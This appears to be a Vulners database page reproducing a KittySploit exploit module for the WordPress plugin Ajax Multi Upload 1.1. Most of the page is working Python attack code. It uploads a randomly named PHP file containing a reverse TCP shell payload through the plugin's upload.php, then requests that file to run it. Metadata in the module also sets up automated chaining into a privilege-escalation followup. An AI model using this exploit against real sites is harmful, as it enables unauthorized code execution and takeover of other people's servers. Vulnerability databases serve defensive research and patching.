Lucene search
+L

Wordpress Plugin Ajax Multi Upload 1.1 - Shell Upload

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

WordPress Plugin Ajax Multi Upload allows unauthorized arbitrary PHP code upload.

Refs
Code
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress

class Module(Exploit, Http_client, Wordpress):

    __info__ = {
        "name": "Wordpress Plugin Ajax Multi Upload 1.1 - Shell Upload",
        "description": "WordPress Plugin Ajax Multi Upload is prone to a vulnerability that lets attackers "\
                        "upload arbitrary files. The issue occurs because the application fails to adequately "\
                        "sanitize user-supplied input. An attacker can exploit this vulnerability to upload arbitrary "\
                        "PHP code and run it in the context of the Web server process. "\
                        "This may facilitate unauthorized access or privilege escalation; other attacks are also possible."\
                        "WordPress Plugin Ajax Multi Upload version 1.1 is vulnerable; other versions may also be affected.",
        "cve": "",
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": "singles",
            },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
    },
    }	
    
    def _wp_base(self):
        return self.wp_normalize_base_path(self.path)

    def run(self):
        
        filename = self.random_text(8)+".php"
        files = {'Filedata': (filename, "<?php "+self.payload+"?>", "multipart/form-data")}
        
        data = {
                'action': 'upload',
                'path': './files/'
                }
        
        r = self.http_request(
                        method="POST",
                        path=self.wp_plugin_path(self._wp_base(), "ajax_multi_upload", "upload.php"),
                        data=data,
                        files=files
        )
        if r:
            print_success("Shell uploaded")
            print_status("Trying to connect...")
            pwn = self.http_request(
                                method="GET",
                                path=self.wp_plugin_path(self._wp_base(), "ajax_multi_upload", "files", filename)
            )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation